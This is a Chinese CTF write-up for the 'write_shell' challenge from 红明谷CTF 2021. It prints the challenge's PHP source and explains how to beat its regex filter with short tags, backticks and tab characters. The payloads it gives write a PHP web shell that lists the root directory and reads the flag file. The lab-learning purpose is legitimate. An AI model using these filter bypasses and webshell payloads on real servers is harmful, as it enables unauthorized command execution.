首页 > 系统相关 >[红明谷CTF 2021]write_shell

[红明谷CTF 2021]write_shell

时间:2024-05-11 15:11:00浏览次数:16  
标签:shell upload write CTF action pwd data dir

[红明谷CTF 2021]write_shell

打开环境直接给出源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

代码审计,重点是绕过正则,不能用异或/取反,数组也不行

_SERVER['REMOTE_ADDR']是当前页面用户的 IP 地址

然后是switch,看传入的action是什么,如果是pwd就显示目录,如果是upload就可以传入数据file_put_contents()在这里是把传入的dir路径传进index.php里面。

所以我们要利用upload传入木马文件,用pwd查看结果,过程需要注意过滤的内容。

这里php都被检测了,类似,那就需要使用短标签

最后是短标签+反引号,至于空格用tab(%09)代替

反引号等价于shell_exec()

关闭了shell_exec()时反引号运算符是无效的。

与其它某些语言不同,反引号不能在双引号字符串中使用。

payload:
?action=pwd

e32juU9Ufgm2sBZPKCQAZELjT8ojMQnoNTAGBITo0qU

发现上传地址为sandbox/1254adea244b6ef09ecedbb729f6c397/

加上前面链接进入后发现有回显

?action=upload&data=<?=`ls%09/`?>

此时已经获取目录下的信息,有一个flllllll1112222222lag文件

Gcy3Yw6IeT9wCscMR7a05iGxkwCRNUidmvt9GXezWgw

?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

1QlR8g3rpReEz_G9frxhcmM8skwREccAW8aYmIwR2QY

标签:shell,upload,write,CTF,action,pwd,data,dir
From: https://www.cnblogs.com/fishjumpriver/p/18186529

相关文章

  • Shell--批量删除指定目录下,带不同后缀名的文件
    文件根目录在 /home/service/app/sre/*/release 下,*表示一个目录,目录名不固定,文件后缀有多种,如:./data/dict/gc_app/gc_app.i2i*./data/dict/gc_app/gc_app.consociation_appid...脚本:#!/bin/bash#定义要删除的文件根路径base_dir="/home/service/app/sre/"#获取......
  • 在 PowerShell 5.1 版本及更高版本中,确实存在名为 wget 的命令别名,它实际上是 Invoke-
    在PowerShell5.1版本及更高版本中,确实存在名为wget的命令别名,它实际上是Invoke-WebRequest的别名。这个别名的存在是为了方便那些习惯使用wget命令的用户在PowerShell中执行相似的操作。因此,你可以在PowerShell中使用wget命令来调用Invoke-WebRequest,实现......
  • buuctf-pwn-ciscn_2019_es_2
    checksecida我们看到在vul函数中,有两个read函数,每个都读取了0x30(48)大小的字符,并放入字符数组s中,也就是说我们能溢出的只有8个字节,刚好覆盖到ebp和返回地址所以我们需要栈迁移,使我们能溢出更多字节首先利用第一个read,输入40字节的数据,刚好覆盖到ebp,然后printf就会顺带打印......
  • NewStarCTF 2023 week1 writeup
    NewStarCTF2023week1writeup花了几天时间,终于把week1的题目做完了,还是学到不少东西的,题目质量大多都挺高的,很适合新手入门。Web1.泄漏的秘密url/robots.txt查看robots协议,找到第一部分的flagPARTONE:flag{r0bots_1s_s0_us3fulurl/www.zip查看网站备份,找到第二部分的fla......
  • L3HCTF 信じてください、先輩!!复现
    前情提要OPTEE是什么这题与OPTEE有关。可以理解成,这个机器上同时运行有两个OS:一个是正常的OS来处理不需要保密的内容,一个是安全的OS(OPTEE),涉及保密的内容在这个安全OS里面操作。通过trustedfirmware来启动这两个OS,相当于这两个OS的bootloader。这两个系统之......
  • Jenkins 中 shell 脚本执行失败却不自行退出
    Jenkins中执行shell脚本时,有时候shell执行失败了,或者判断结果是错误的,但是Jenkins执行完成后确提示成功success。此时,可以通过条件判断来解决这个问题,让Jenkins强制退出并提示执行失败failed。具体方法jenkins判断构建操作执行成功了还是失败了,可以通过返回0......
  • shell-验证日期
    #!/bin/bash#PATH=.:$PATHexceedsDaysInMonth(){#给定月份名称和天数,如果指定的天数小于或等于该月份的最大天数,#函数返回0;否则,返回1.case$(echo$1|tr'[:upper:]''[:lower:]')injan*)days=31;;feb*)days=28;;mar*)days=31;;apr*)da......
  • SHELL编程开发Nginx一键部署实战脚本
    一、基于SHELL编程开发Nginx一键部署脚本(Make源码方式),编程思路如下从Nginx官网下载软件包nginx-1.24.0.tar.gz;通过Tar工具对其解压,tar-xzvfnginx-1.24.0.tar.gz;cd切换至nginx-1.24.0/源代码目录;预编译,./configure;编译,make;安装,makeinstall;启动Nginx服务,/usr/local/nginx......
  • Shell编程之条件语句
    目录1.条件测试2.文件测试与整数测试(1)文件测试(2)整数测试3.字符串测试与逻辑测试(1)字符串测试(2)逻辑测试4.if语句(1)if单分支语句(2)if双分支语句(3)if多分支语句5.case分支语句1.条件测试Shell环境根据命令执行后的返回状态值($?)来判断是否执行成功,当返回值为0(真true)时表示成功,返回值为非......
  • buuctf-pwn-[OGeek2019]babyrop
    查看一下保护情况丢进ida里分析主函数调用了一个含有alarm的函数,这个函数会设置一个定时器,到时间自动退出程序为了方便调试,我们直接patch掉这个函数接着分析,主函数读入了一个随机数,并将其传入sub_804871F函数sub_804871F函数读取输入,并检查输入的是否和随机数相同,不相同......